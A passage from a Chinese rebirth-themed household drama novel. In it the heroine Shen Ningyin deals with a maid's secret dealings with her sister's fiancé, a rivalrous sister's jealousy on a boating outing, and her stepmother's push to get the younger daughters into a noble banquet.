染竹心间一颤，红唇紧抿，扯了个笑：“我知晓，我就是去寻些酥酪甜食儿，一会儿少夫人醒了好垫垫肚子。”
春渠这才放了心。
前院儿。
冷元景领着书童站在二门外等，等着沈侍郎来见他。
也是他倒霉，往日沈弦思作死禁足，再加上冷元景自个儿也只是个秀才，沈家自不会惯着他来，那么多次，一次也没见着小青梅。
昨儿难得见了一回，沈弦思又扔下他跑了，冷元景心里十分憋屈又愤恨。
那日沈弦思就那么扔下身心受伤的他离开，冷元景还得厚着脸皮跑来热脸贴着冷屁股，那种屈辱的感觉又放大了数倍。
冷元景掌心里掐着一封请帖，眉眼里暗暗涌动着势在必得的阴郁。
书童道：“主子，今儿侍郎大人怕也是没空见您的，要不就先回吧？”
“不行，我就在这等！”冷元景咬着牙。
书童叹了口气：“主子，沈家可能对咱们……”
冷元景冷冷盯了他一眼：“闭嘴！”
书童知他不爱听，便也退到了后头去。
冷元景也不是不知自己的处境，沈家并不重视他这个小地方的秀才，这一点上，沈定山毫不掩饰。
冷家在姑苏再如何煊赫，到了上京也是不够看的。
他唯一的倚仗就是那一纸婚约，就是沈弦思的喜欢。若沈弦思不喜欢了呢？
冷元景一想到这种可能，心脏就揪紧了。
“主子，您瞧，那姑娘不是您上回在酒楼碰见过的？”书童的话将冷元景的思绪拉回。
“染竹姑娘？”冷元景也没顾得上许多，赶了两步走上前去。
隔着二门，染竹对上他那双眼睛，照旧有几分局促，装作偶遇地垂眸请安：“冷郎君。”
“你怎的在此？”冷元景有几分惊喜，心内其实已经明白，贴身大丫鬟在此，那么她身后那人极可能也在。
“奴婢陪着少夫人回来小住。”染竹被他这般专注地看着，心里分外甜蜜，自是知无不言的。
冷元景虽早有预料，可真正听到答案、再想想自己此番的目的，心情不禁有几分复杂。
但他很快便也释然了，秦家少夫人既然肯命人帮自己一次，那么这次也定能帮忙才是。
果然，染竹抬眸问询：“冷郎君在门口做什么呢？”
冷元景委屈了那么久，这会儿总算有个人能倾诉，略有些激动，伸手拉着她的柔荑：“染竹姑娘，我来了小半个时辰了，可进去通禀的人迟迟不见，又无人来引我进去……”
染竹的手掌偏凉，这会儿被男人温热的大掌一捂，连忙红着脸抽了开去。
冷元景意识到不妥当，赶紧松了手：“抱歉……”
染竹心里受用，抿唇微笑着摇了摇头：“冷郎君不必介怀，思姑娘被禁足，府里惯用的郎中出了事儿，大郎君如今在外头奔走……老爷夫人许是在忙旁的，况且也断没有长辈来给晚辈作陪的道理。”
染竹是真心提议：“要不，您改日再过来？”
冷元景听了这话心中更急了：“不行。”他顾不得许多，伸手又拉住了染竹的手，将请帖与一封信按进姑娘的掌心：“我今日定要见一见你们思姑娘的！好染竹，你帮我送一送吧？”
染竹大吃了一惊，她低头看着掌中的烫金请帖与书信，只觉有些刺眼，可再抬头瞧见男人恳求的脸，拒绝的话就怎么都说不出口来。
“染竹姑娘？”冷元景又握紧了几分。
染竹哪里顶得住他这般苦求，鬼使神差地点了点头。
廊庑的尽头，沈玉珠与奶嬷嬷站在一处，她眉头紧蹙：“嬷嬷，那个姐姐不是姑姑房里的丫鬟么？她怎的与这男子说话？还跟他牵手？”
奶嬷嬷脸色微变，连忙将她拉远了些：“啊哟，玉姐儿，这些事儿就权当没瞧见。”
“那怎么行？”沈玉珠道：“不对之事，理应阻止。”
论辩，奶嬷嬷论不过沈玉珠去，于是就蹲在她跟前儿：“可那姑娘是你姑姑的人，要管也是她来管。”
沈玉珠想了想，点点头：“那我用过晚膳告诉姑姑去。”
只是还没等沈玉珠去找沈宁音，当先找过去的，却是沈弦思。
炭火暖融融的，沈宁音难得这般放松。
“沈宁音！”沈弦思的声音隔着门扉传进来，在安谧的环境下，沈宁音只觉鼓动得耳膜生疼。
她缓缓挣开眼，将身上的薄被拉开。染竹连忙去拿了厚皮披风给沈宁音披上。
沈宁音推开房门：“弦思妹妹，怎么这会儿过来了？”她语调有几分宿梦初醒的慵懒，墨发绾了个髻，余下的青丝如缎般披散在脑后：“听下人们说，父亲可是发你禁足到出嫁。”
因着侯府吃穿用度都远胜从前，沈宁音脸上的红晕自然又显得莹润康健，瞧在沈弦思眼里，就仿佛是她在故意炫耀似的。
沈弦思甫一瞧见她这等模样，没来由又记起了芝兰玉树、矜贵无俦的秦耀阳。再加上沈宁音将才戳她痛脚的剜酸话，沈弦思眼睛里都像是要冒出火来。
“你不就是得了属于我的亲事才这么风光么？你得意个什么？”<
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沈宁音听着她那满含妒忌的话，丝毫不以为意，反而笑着道：“那也是多谢妹妹的成全。若非妹妹退位让贤，我也得不着这样好的归宿。”
“你！”沈弦思气得够呛，一旁的丫鬟连忙给她拍背顺气，又小声提醒了两句。
沈弦思愣了一下，再抬眸时，眼睛里已经带上了倨傲的神色：“也是，秦世子再好，也不及我的元景哥哥。”
她抬手掏出了随着请帖一并到手到信笺，拿在手上冲沈宁音晃了晃：“瞧见没？这可是元景哥哥亲笔给我写的信，他有多疼我你知道么？”
沈宁音微微蹙眉，心下疑惑，沈弦思虽骄纵，可她为何要冲自己来炫耀冷元景写给她的情信？
沈宁音思索的神色落在沈弦思眼里，自然而然被她当成了嫉妒，毕竟，从前的沈宁音也曾不顾一切想要嫁去冷家过。
沈弦思得意道：“别以为你找人挑拨我与元景哥哥的关系，我们就会受影响！”沈弦思说完这一句，狠狠瞪了沈宁音身后的染竹一眼。
末了沈弦思把手心里的请帖晃了晃：“也算是你运气好，元景哥哥明日邀约了咱们乘画舫游湖。你既然在家，就一道去吧。”
沈宁音没说话。沈弦思倒是没纠结太多，既炫耀完了、得了意，也就领着人回她自个儿的院子去。
等她走后，沈宁音转眸，就看见染竹抓着帕子不停地小幅度撕扯。
染竹心思深，情绪极少外露，但当她有心事时，往往就会有这样的小动作。
沈宁音心下纳罕，不动声色地问：“染竹？”
“少夫人？”染竹目光沉稳，微微福身：“可是有什么吩咐？”
沈宁音摇摇头：“你是不是有什么心事？”
染竹愣了一刹，垂眸摇了摇头：“没什么大事儿的。”
染竹加一块儿算是伺候了沈宁音两世的大丫鬟，她素来便是瞒着，也不会是什么大事儿，沈宁音也不愿逼问。
想了想，沈宁音就吩咐：“现下咱们在侍郎府小住两日，你这会儿也正好回去看看你家里爹娘。”
“这儿有春渠守着，兰香天黑前也能回来，你且先回去吧。”
“是。”染竹低着头，退了出去。
等到用完晚膳，兰香就回来了，前后脚的，竟来了稀客。
“姑姑。”沈玉珠声音软糯，气势却是不卑不亢的，只是除了她以外，她身后还跟着沈家的两个嫡妹，沈引章与沈含鸢。
沈玉珠冲沈宁音露出个笑来，但看向两个小姑姑时却有几分显而易见的郁闷。
沈玉珠显然是不愿跟她们一道的，沈宁音猜测十有八九那两个是给沈夫人硬喊过来的。
沈宁音也不说破，亲亲热热地拉着沈玉珠的手坐了。
沈夫人处处针对她，两个嫡妹也都是捂不热的石头，如今在侍郎府小住，沈宁音虽不会对沈引章跟沈含鸢如何，却也懒怠上赶着去给她们好脸色。
两个人站了两三个呼吸，沈引章当先打招呼：“宁姐姐。”
“嗯。”沈宁音略略抬眸，说了句：“坐吧。”
“今儿是来做什么的？”沈宁音微笑着问。
68. 凑巧
沈玉珠欲言又止，她虽性子耿直，但翻过年就要十三岁了，大抵还是懂了些事儿。
而沈引章跟沈含鸢两人的说辞，则是沈夫人叫她们过来与姐姐打个照面儿。
打照面儿沈宁音觉着是托词，况且今日的时间已经不早，说不了几句话，所以也不像是要叙姊妹情谊的。
倒是富贵人家的婚姻往往需要大量的准备，女子十五岁及笄，便可以嫁人，而定亲往往会提前一至三年。
若遇着世家大族，自小定亲也是有的。
沈引章今年十四，正是议亲的好时候。而沈含鸢已经15，翻过年去就要16了，沈夫人着急此事也很正常。
而且，以侍郎府如今的光景，两个继室所出的嫡女，怕是高门大户瞧不上她们，门第小了，沈夫人又不肯屈就。
沈宁音不动声色，也不主动提，似这等事儿，总得沈夫人亲自来开这个口才好。否则，若是办成了，就成了沈宁音这做姐姐、做女儿的应该的，若办不成，反倒枉做了小人。
沈夫人素来眼高于顶，沈宁音可不会上赶着去做那怨种，是以往往都顾左右而言他。
沈含鸢有些失望，甚而生出些愤懑来，从前沈宁音这个做二姐姐的，虽说性子清冷些，可什么事儿都紧着她们几个姊妹来，最是面冷心热的，可如今无妨怎样暗示，她都是装傻。
沈含鸢攥着帕子，她一个未出阁的女娘，实在没那脸皮说得太直白，遂站起身，以退为进咬牙道：“时辰不早，二姐姐既然待咱们不上心，那含鸢就先告辞了。”
她这话一出口，原本还是表面宁静的气氛一霎时就更冷凝了几分。
沈宁音懒懒抬眸，浅笑：“既如此，那我也就不多留你了。”
沈引章脸色微变，连忙起身道：“二姐姐，含鸢姐姐不是那个意思……”
沈含鸢瞠大了眼眸，若说上次沈宁音归宁时故意不给她们姐妹打发银子，是因着当初沈宁音嫁人之时她们没向着她。可现在呢？
沈含鸢觉着上回受了委屈，什么帐也该平了，这回，无论如何她都不想忍了。
“我告诉爹爹和母亲去！”沈含鸢拿帕子捂着脸哭着跑了出去。沈引章有心说和一二，可沈宁音脸上的表情是一贯地淡，她也顿觉没趣儿，告了罪，也追了出去。
沈玉珠看着远去的身影，终于松了口气，她又有些担心，起身走到沈宁音跟前：“姑姑，她们若是去跟祖母告状，不会有什么问题么？”
沈宁音笑着摇摇头：“不妨事。我自有分寸。”
沈玉珠这才放心地点点头：“姑姑，我也该走了，不过，我有些话要单独同你说。”
沈宁音见她这般严肃，便也配合地挥退左右。她原以为沈玉珠不过要说些小女儿家的心事，毕竟沈玉珠年岁虽小，但心性好，沈宁音不介意多帮衬一二。
可谁知，越听，沈宁音越沉默。
沈玉珠将染竹与外男说话的事儿略说了一遍，没听着姑姑说话，生怕她是不相信自己，连忙道：“是真的，嬷嬷也听着了，我叫她也来说。”
沈玉珠转身要去叫奶嬷嬷进来，沈宁音抬手拉住了她：“不必，姑姑自是信你的。”
“可是，这件事儿，你能不能答应我，不再跟任何人提起？”沈玉珠闻言，认真地点了点头。
当夜，沈宁音久久不能入睡。
翌日清晨，她坐在镜前梳妆，透过铜镜光滑昏暗的镜面，她清晰地看见染竹的脸。
年轻，鲜活，仿佛从没有受到岁月的摧折。再不是前世那样枯槁又麻木的样子。
沈宁音的叹息很轻，染竹却注意到了，铜镜里年轻的大丫鬟冲沈宁音腼腆微笑：“少夫人，可是有什么烦忧？”
一旁整理妆奁的兰香闻言，也连忙竖起了耳朵：“少夫人，有什么不舒坦的，尽管吩咐奴婢，今日不同往日，哪里还能受那些气去？”
瞧着兰香跃跃欲试的样子，沈宁音看向染竹的心情就更复杂了。
她收回了目光：“的确，今时不同往日。咱们都有得选，有些事，定要谨慎才好。”
听了沈宁音的话，染竹毫无察觉，只是应和了两句。
沈宁音并未选择说破这些事儿，大丫鬟是心腹，有多严重，两世为人，她比旁人明白。
但，染竹到底跟了自个儿多年，要叫她下手处置了，沈宁音自问做不到。
前世的染竹身不由己，做了冷元景的姨娘，那种绝望凄苦，她一路看在眼里，今生，染竹若重蹈覆辙，也不会有什么好下场。
沈宁音自己重来一次，便也想给染竹一次机会。
堂屋内，沈宁音过去的时候众人已经收拾得花枝招展。
尤其沈弦思，更是珠翠满头，遍身绫罗，雀跃与炫耀的心思都写在了脸上。只可惜，沈弦思这样的心思太重，她原本是典型的江南美人，气质偏婉约，浅色罗裳与稍许两支步摇就能衬出她的美好来。
如今这般浓重，在沈宁音看来，委实是太过喧宾夺主，活像个元宵灯塔。
沈宁音踏进堂屋，大约因着昨天沈含鸢两姐妹之事，沈夫人并没给她好脸色。
但做人便是如此，面子从不是旁人给的，皆是看自个儿的地位，沈宁音如今是昌平侯府世子爷的嫡妻，又掌着中馈，无妨她掌得如何，底气也是不再靠着沈夫人垂怜的。
沈夫人原是想晾着她，叫她知晓一下错处，可沈宁音连眼皮子都没抬一下，简直倒反天罡。
沈夫人心里气得冒火，却又没由头发作。沈弦思挽着沈夫人的胳膊，皮笑肉不笑：“今儿元景哥哥请了咱们阖府上下去秋游，姐姐可是有福了。不过呀，听说秋游的人多，画舫紧俏，怕是姐姐要等咱们游玩后，才能上去呢。”
沈宁音一听，顿时明白过来，沈弦思怕是刻意为之，起了心想要落自个儿的脸面。
沈宁音柔柔一笑，声音恬淡：“既如此，那，母亲与妹妹们去玩就好。”
昨日，兰香回来时，就曾提及，薛岚说是今日有事，辞了约。沈宁音那会儿就琢磨了，皇城司最
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近也就是抓反贼乱党，可自从圣人还朝，此事也不是一日两日了，哪里能恰好没空与自个儿见面？
要么，是柳太医之事兹事体大，薛岚找借口不肯谈，要么，就是最近会出什么大事儿。
奈何沈宁音前世的这会儿远在姑苏，又委实想不出上京有过什么事儿。
思来想去，沈宁音决定今日直接去找薛岚。山不来就我，我便去就山。
机会，都是人趟出来的。
沈宁音这一拒绝，沈弦思反倒是傻眼了，她松开沈夫人的胳膊：“你为何不去？”
她话一出口，沈宁音便转眸看向她，沈弦思一时间有些慌乱，别开眼：“哼！算你有自知之明！”
“元景哥哥下个月便要与我成亲，你可别再惦记他！”
沈弦思死死攥着帕子，看向沈宁音的目光带着浓烈的警告。
沈宁音不置可否。
不多时，侍郎府的三驾马车就浩浩荡荡地出门去了。
沈宁音坐在其中一架里头。
出门之前，她便已经吩咐脚程快的人去梧桐巷酒家去打听薛岚的行踪了。左右南烛还在侯府，沈宁音有的是借口去寻他。
有这层关系在，梧桐巷那边儿也断断不会给假消息的。
只是过了小半个时辰后，沈宁音撩开车帘，看着那渐渐往后稍的城墙，心情就有几分复杂。
等到一个时辰后，眼前出现了清澈的河流时，沈宁音这种感觉就更强烈了。
“沈宁音！你不是说你不来的么？你为何……”一群鸟雀扑棱棱给惊飞。沈弦思的语调带着点尖细。
沈宁音在两个丫鬟的搀扶中下了马车，入目便是沈家众女眷在一处空地上小憩。木桌上放着时令的果脯、酥酪。远远儿的，是沈淮远、冷元景并几个长随小厮。
男人们发觉这儿的动静，也都往这边儿过来了。
阳光正正好，风吹过时，水面泛起氤氲的水汽与光晕，连带着天光下的男男女女都笼上了一层柔和的光。
沈宁音生得艳丽，天生适合华贵的裙裾，她原也不是为着来游玩的，所以那身百迭裙就显得与周遭众人皆不相同。
就仿佛飘然入世的仙子般，在人群里一眼便叫人移不开眼。冷元景走得近了，瞧见人群里那个云鬓襦裙的身影，整个人都愣怔住了。
“元景哥哥？”
“元景哥哥！”沈弦思喊了他三五声，他也没反应。倒是沈宁音转眸朝他看了过去。
“冷郎君？”沈宁音一直被他这般瞧着，多少有几分不适，开口唤了一声。
“嗯？”冷元景反应过来时，发现沈弦思并几个沈家姊妹都看向自己，登时颇有些尴尬：“沈二妹妹。”
他拱了拱手。
冷元景比沈宁音大一岁，叫声妹妹原是合适的，可沈宁音嫁了人，他却没称一声少夫人，这让沈弦思分外生气。
沈弦思便扔了手里的甜糕，拉着沈宁音就往一边儿走去。
“沈宁音，你什么意思？！”
69. 画舫
最近一段时日，沈弦思觉着自己很倒霉，分外不顺，仿佛从定亲之后起，整个生活就有了天翻地覆的变化。
对自己疼爱有加的父亲将属于自己的嫁妆箱子给了姐姐，事事顺着自己的母亲也开始不再满足自己的要求。
下人、兄弟姐妹，虽没有疏远自己，却也远不及从前般围拢在自己身边。
而那个她从前瞧不上的沈宁音，却似乎越过越好了。
沈弦思不甘心。
明明自己才是沈家嫡亲的女儿，明明那沈宁音只是个混淆血脉的野种。
可她偏偏像是要跟自己作对一般出现，就好比现在，她什么都不做，都能勾得所有人、尤其是元景哥哥的注意。
沈弦思好不容易在整场郊游里占据了绝对的焦点。那个女人就又出现了。
“上京城这般大，我只是凑巧。”沈宁音的语气是一贯的淡，就像是在说一件小事。
沈弦思表情有一瞬间的扭曲：“你说过不来的！沈宁音！你说过的！”
沈宁音听着她的声音，看向沈弦思的目光有几分诧异，她捋了一下耳畔的青丝，笑容恬淡：“既如此，你们玩你们的。”
沈宁音原也不是过来游玩的，她还有正事儿。
“宁音妹妹，这怎么行？”冷不丁的，冷元景的声音从旁边儿飘了过来。
“既然来了，便一道游湖吧？”
沈宁音倒是无所谓的，但沈弦思听罢，表情瞬间变得难看起来，她大声道：“不行！咱们这么多人，哪里坐得下？”
冷元景道：“坐得下，坐得下，船舱还算宽敞。”
原本想拒绝的，可沈宁音听见他这般说，倒是起了点儿好奇心。
冷元景在上京城有多么拮据她最清楚，便是租赁，他又能租多大的画舫？
等沈宁音真见着那画舫，她整个人都愣怔住了。
船很大，船上雕梁画栋、丹楹刻桷，分外堂皇。除了没有乐舞伶人献艺，沈宁音扪心自问，便是她自个儿要游湖，大约也会安排个这样的了。
船舱有单独的房间，专供贵客小憩、更衣。
此时，船还没离岸，沈夫人、沈含鸢等人都在船上参观。沈宁音心不在此道，也懒得与沈弦思争执。沈宁音早遣了人去寻薛岚的消息，便找了处树荫等着。
只是还没等来消息，倒先瞧见个鬼鬼祟祟的船娘从另一艘船上下来，这船娘跟冷元景碰了头，似在窃窃私语。
沈宁音离得远，睛凝眉细听，委实也没听见只言片语。
只晓得船娘端着个托盘就去了另一艘小船。
“少夫人，怎么了？”兰香见沈宁音久没移开目光，顺着她看的方向，也瞧见了那条小船，兰香就笑着道：“原来还有别的船！奴婢去包下来？”
“不必。”沈宁音笑着收回目光：“你真当咱们是来游湖的？”她打趣了一句，问起正事：“可有消息回来？”
兰香摇摇头：“还没有。”薛岚到底是皇城司的人，若在上京城内还算好，可如今在京郊，游湖的人虽多，可架不住湖面也宽阔。
梧桐街的消息再准确，找起来也还是难的。
沈宁音叹了口气，抬手挥开了低垂的枝条，往大船上走。
船舱内。
“气死我了！”沈弦思抬手就将桌上的东西扫落，胭脂洒了遍地。
丫头们战战兢兢兀自去打扫，生怕受了牵连。
“这等劣质货，也配给我用？都来欺辱我是不是？！”她一脚踢在小丫鬟的腿肚子上。
小丫鬟闷哼一声，不敢哭出来，怕再刺激了她敏感的神经。
沈弦思最近的情绪愈发不稳定，尤其是遇着跟冷元景有关的。
就算是从阮家带过来的大丫鬟，这会儿伺候起来，也颇有些惴惴不安。
“这是生的哪门子的气？”沈宁音素手推开了舱门。
她那张脸甫一出现，沈弦思的怒气就噌噌往上涨：“你来做什么？！出去！”
沈宁音并未在意她的态度，一个眼神示意，兰香就领着几个仆从将船舱里的丫鬟们撵了出去。
舱门关上的时候，就只剩下沈宁音、沈弦思二人。
沈弦思原就窝着一肚子火，突然的清净叫她很是愣了一下。
这会儿见只有沈宁音一个人，机会简直千载难逢！
在闺阁时，沈宁音就是个软包子，任谁都能踩一下。
沈弦思没少偷偷欺压过她，当下哪里能放过？抬手就要打人。
可谁知，手腕一疼，竟然是被沈宁音一把抓住？！
“你敢拦我！”沈弦思没料到沈宁音竟然反抗！更没料到养尊处优的侯门少夫人力气竟然这么大，眼见着挣扎不开，咬咬牙，又抬起另一只手扇过去。
沈宁音哪能惯着她去，将手里的手臂往后一拧，一脚踢在了沈弦思的腿弯上。
“啊！”沈弦思惨叫出声，苍白的脸上露出慑然来：“你！”
沈宁音略一使劲，大颗大颗的冷汗就从沈弦思额头上冒了出来，她流着眼泪大叫：“你放开我！你敢伤我！我就告诉母亲！你以后休想再得到侍郎府的庇护！”
沈宁音弯唇，用力一推，沈弦思便倒在地上，坚硬的木板透着深秋特有的凉意，沈弦思揉着手腕，咬牙切齿：“沈宁音！你终于露出真面目了！我定要告诉爹娘！告诉元景哥哥！”
沈弦思原以为沈宁音会慌、会怕，可是她就那么居高临下地看向自己，表情平静到仿佛在看一件死物。
沈宁音一步一步逼向她，这瞬间，沈弦思没来由地生出几分怕来，她死死往后缩，可后背已经抵住了船壁。
沈弦思苍白着脸色：“你、你要做什么？”
走到她面前，沈宁音抬手替她将耳畔的发丝抿到耳后：“妹妹，我再如何，也是沈家养大。”
“你我同出侍郎府，我既已经成全你，将冷家哥哥让与你，就绝不会再觊觎。”
她伸手将沈弦思拉起来，露出个微笑：“只是有一点，女儿家名节，清誉，最为要紧，断不可失了体统。”
“你什么意思？”沈弦思用力甩开沈宁音的手
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。听着前面的话时，沈弦思还有些愣怔，可听了后头的话，她只觉得是沈宁音在含沙射影骂自己：“母亲都没这么管我！用得着你来假惺惺？！”
沈宁音低头瞥了一眼，但见手背上浮现一道长长的红印子，是方才沈弦思甩开她手时，指甲刮上去的。
沈宁音握住自个儿的手，也不恼，只是神色认真道：“你最好待在母亲身边儿不要擅动。”
顿了顿，沈宁音又道：“咱们家与冷家结亲，是姑苏冷家要求着咱们，你……”
她话没说话，沈弦思就厉声打断：“好哇！沈宁音，我就说你怎么突然又要跟来了！你就是没安好心！”
“你是打量着挑拨我与元景哥哥的关系，你以为你拦着我们亲近你就能有机会了？！”
“我告诉你！你这辈子都别想！”
沈弦思推开沈宁音冲出了门去。外头的一众丫鬟连忙将人拦住。
众人看向门内的沈宁音时，后者挥了挥手示意她们放开。
等人走后，兰香转眸：“少夫人，眼下怎么办？”
春渠脸上闪过一抹狠辣：“要不要奴婢把人绑了？包管她这一天都不能离开舱室。”
沈宁音沉默不语。
这时，有仆婢快步跑了过来：“少夫人，薛大人那边儿有消息了。”
沈宁音眼眸一亮，提着裙摆往外去：“罢了，沈弦思处也不必管了。”
该提醒的，沈宁音自问已经提醒过。
你越是不让，她指不定越要往那儿使劲，防也是防不住的。
仁至义尽，就端看她自己的选择了。
不多时，画舫的风帆被吹了起来，沈宁音走到船舷处时，船家正在收踏板。
“这位夫人，船要离岸了，您还是请回吧？”船家一身青衣，老实巴交的模样，眼睛里却是闪着精明的光。
沈宁音蹙眉，一旁的兰香瞪大了眼睛，叉腰质问：“不是还有一会儿才开船游湖么？怎的提前了？！”
此番提前了至少一盏茶的时间。沈宁音一时间有几分心烦。
她抬头看去，就见着岸边葱茏的树影里，是沈弦思跟冷元景有说有笑的身影。
冷元景似乎说了什么叫她愉快的动听话儿，沈弦思掩唇娇笑，漂亮的眼眸仿佛是有所感应，往画舫方向隐晦地睃了一眼。
这一眼，直直看进了沈宁音的眼瞳里，带着几分得意与讥讽。
就像是骄傲的胜利者一般。
“喂！不是还有人没上船来么？”染竹也看见冷元景了，她脸上不禁露出惊慌失措的神色来：“船家，你先靠回去！”
船家本就是收了银钱的，哪里能听她的？当下挽着绳索就往舱室走：“哎呀，没事儿的。”
又往后头指了一下：“喏，那后边儿也有船只，都能坐的。”
“什么意思？”染竹瞪大了眼睛。
“你还不明白？”沈宁音没有看她，只道：“冷元景早就准备好了两艘船，他压根儿没想上这一个。”
“！”染竹不可置信地看向身后。
70. 求引
舫船缓缓离岸，风在吹，漾起碧绿的凌波。
深秋的季节里，连绿意都更深沉些。
仆婢们伺候在侧，长长的桌案顺着船舷摆放，侍郎府众人皆坐在一处。
沈宁音没下得去，便也坐到了席间。
“宁音。”沈夫人蓦地开口。沈宁音转眸，看见她笑得温和。
这么些年沈夫人极少对她有笑脸，从前沈宁音只以为母亲素来严厉，眼下却知，她不是严厉，只是宽宥温和是对旁人罢了。
事出反常，沈宁音微笑挑眉，心里却是打起了十二分的小心：“母亲？”
因着她态度尚算恭敬，沈夫人呷了一口茶，语气寻常地道：“听说过几日有个赏菊宴？”
沈宁音一听倒是想起来了，柔福长公主是个爱花的，四季都喜欢攒局，春日赏桃花，夏日赏荷花，秋日赏菊，冬日赏雪又赏梅。总能有个说法。
长公主身份贵重，极看出身门第，能受邀的，要么是高门显贵，要么是世家大族。
似沈侍郎这样的伪朝遗老，在朝堂上不受待见，连带着在柔福长公主那儿也是没得体面的。
“是。”沈宁音敛眸，嘴角挂着笑：“女儿刚接手差使不久，不太清楚。”
宴会出名，昌平侯府也同样出名。除了每次侯府都是在上宾名册，安排在最前头的位置以外，也有秦耀阳这个侯府孽障的声名在外。
赏花宴，其实也是找机会给各大世家权贵的小辈们相看的。秦耀阳生得极好，身份又高，可每次参会，总能搞出些荒唐事儿来，不是把这家的女儿撂在风雪里等上两个时辰，就是故意捉弄，叫别人下不来台。
久而久之，秦家也便不再参加了，年年婉拒，实在丢不起这个人。
而今年，恰是他秦耀阳成婚的年月，赏菊宴，也是秦家世子爷婚后的第一回。
依着沈宁音对老夫人的了解，昌平侯府还真不一定去凑这热闹。
“怎么能不清楚呢？”沈夫人用力将茶盏搁在了桌案上，眉头紧蹙：“你婆家肯给你放权，那是你上辈子修来的福气！你得好好把握住！”
旁人也就罢了，沈夫人在沈家是真没享受过掌权的滋味，哪怕沈家老夫人早就皈依佛门，不问尘世，沈定山也宁愿重用婆子也不肯把中馈给她。沈夫人得知沈宁音刚嫁过去就得了掌家权时，心里甚至有不合时宜的嫉恨。
沈宁音抬眸，眼底的眸光很有几分玩味，看得沈夫人很不自在：“总之，府里培养你长大，又给你这样好的亲事，你也该投桃报李，顾及一下家中的姊妹们。”
沈夫人目光示意了一下身边儿的沈含鸢与沈引章，道：“你两个妹妹也是到了议亲的年岁，这种宴会，合该引她们去见识见识。”
上京闺秀，往往是母亲引着去出席饮宴，等露了面，也算是将女儿们的“贤名”传扬出去，那么权贵们的后宅夫人们便知道这是能求亲的人家了。
通常来说，第一个出席的宴会颇为讲究，贵族茶宴是最好，门当户对，甚至能高嫁，而若是有意送入后宫，或者配给皇子，那就是参加宫宴。
可如今的圣人还朝之前曾经受过磋磨，身子并不好，再加上年迈，嫁进宫恐难有孕，退一万步说，就算沈家女有了龙胎，孩子太小，根本没有半点出头的机会。而几个成年皇子，那是明争暗斗得相当厉害，将来夺嫡失败的，必定是难逃一死。
沈夫人既不敢赌，也舍不得自己亲生女儿去受这个罪。
沈家搭不上柔福长公主的线，可昌平侯府却可以，甚至是上宾。
“你不想着为娘从前对你的悉心教导，也该顾念着侍郎府的恩情。”沈夫人见沈宁音久不言语，便开口提醒着她的本分。
她目光里带着隐隐约约的威胁之意，沈宁音只看了一眼，便低头不紧不慢地喝了口茶。
沈含鸢手里攥着帕子，分外紧张。她再迟钝也大约能猜着，能不能去这赏菊宴，关系到自己将来的归宿。
而诡谲的沉默里头，沈远淮是男子，他意识到不妥当，却也不肯说话，他素来如此，一旁的蔡氏连忙踢了一脚他的小腿，眼神示意他帮帮小姑子。沈远淮却是依旧一声不吭。
沈夫人被晾在一旁尴尬又愤怒的时候，是沈引章先站起来打破了寂静。
沈引章拿起茶盏朝着沈宁音恭敬地行了一礼：“二姐姐，母亲的意思是，咱们同气连枝，往后我若是能嫁个好人家，自然不会忘了姐姐的恩情。”
沈引章说完这句，以茶代酒喝了一口，茶水有些苦，她呛着了，不住地咳嗽。
沈引章决口没提沈含鸢如何，更没顺着沈夫人的话头道德绑架和威胁，只说了自个儿必定感恩。她这番话，倒是让沈宁音高看了一眼。
“还求姐姐照拂一二。”沈引章稳住了咳嗽之后伸手将坐在凳子上的沈含鸢拉了起来。
沈含鸢不情不愿的，瞪了沈引章一眼后，站直了身子。
沈宁音瞧着沈引章期盼又忐忑的脸，微微一笑：“按说，我这做姐姐的，合该答应下来的。不过……”
见她话锋要转，沈引章攥紧了袖子，眼里露出失望之色来。
“不过，我得先回去问一问侯府那边儿的意思。”沈宁音没拒绝，却也没爽快答应。
侍郎府再怎么凉薄，不论感情，单论着作用，对沈宁音掌权还是有助益的，侯府除了秦耀阳并没有女儿，自己带两个嫡妹去其实并不会为难，沈宁音就能决定。
但沈夫人的态度叫她不爽，她便要拿捏一番，叫继母知晓，现在可不是她能拿捏自己的光景了。
“章儿！你这是做什么？”沈夫人恨铁不成钢，还在觉着沈引章这样放低身段去求沈宁音是下了自己的面子。
沈含鸢听见自己母亲这样说，也是狠狠瞪了沈引章一眼。
唯独沈引章目不斜视：“多谢二姐姐。”她抿着唇坐了下去。
沈夫人气得哼了一声，看向沈宁音：“引章都这般求你了，你可别不识好歹！你要是……”沈夫人还想放点狠话教诲两句，旁边儿的
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蔡氏听得直皱眉，深吸口气，用力往沈远淮小腿肚上踹了过去。
沈远淮脸色倏然苍白，惊呼一声。
所有人的目光都朝着他觑了过去。沈远淮搓了搓疼得钻心的小腿，清了清嗓子，无奈插嘴道：“母亲，您就少说两句吧。”
作为沈家嫡长子，继夫人是亲姑母，沈远淮从来孝顺着，不管沈宁音挨打还是挨罚，哪怕大冬天给罚跪在雪地里，沈远淮也从来都是袖手旁观的。
可如今他竟也开口替沈宁音说话了。
沈宁音是自小在沈夫人手里讨生活的女儿，沈远淮可不是。
沈夫人脸色更难看了，心里对沈宁音暗骂不休，却也不能不给沈远淮面子。
沈宁音看了一眼蔡氏，后者对她报以讨好的微笑。
前世，沈宁音对这个嫂子没什么印象，今生，她既然肯帮着自己，哪怕只是为着沈玉珠，沈宁音也是承这个情的，赏菊宴，带上沈玉珠，倒也不是不可以……
“对了，思姐姐与冷郎君去哪儿了？”一直没心没肺的沈玉珠这会儿疑惑地开口问。
众人不以为意，沈夫人没好气道：“船这么大，她们又是定了亲的。想是在哪处舱舷说说体己话儿吧？”
“对了，弦思她下个月成婚，正好，赏菊宴也带上她去。”沈夫人不忘提了一嘴，要给沈宁音多安排些差使。
沈宁音心中玩味，慢条斯理开口：“虽是出来游玩，孤男寡女的，可别越了界。”
沈夫人冷睨了她一眼：“他们一个多月后就要成婚，这儿又都是自家人，便是说些话儿又能如何？”沈夫人目光盯在沈宁音身上，意有所指：“还能有谁传出去闲话不成？呵，你可别胡乱说嘴。”
沈宁音抿了口茶，语气悠悠地：“怕只怕不单是说说话。若是成婚前闹出些不好看的，爹爹发了火，还不是要数落到母亲头上？”
沈夫人愣了一下，她想着这回是阖府上下许多人来，谅也不会出什么乱子。再说，冷元景长相是十成十的好，举手投足也很恭敬，还是个秀才，沈夫人很放心。
不过，她蓦然想到了另一件事。一个秀才，长得再好，也是个绣花枕头，以后能成什么事儿？可若是沈弦思能去赏菊宴……
沈夫人站了起来：“去，搜一搜舱室，去把弦思跟冷四郎找回来。”她原想着，这舫船气派，出游很是长脸，可再怎么长脸，那也不能些许银子就给女儿哄跑了！
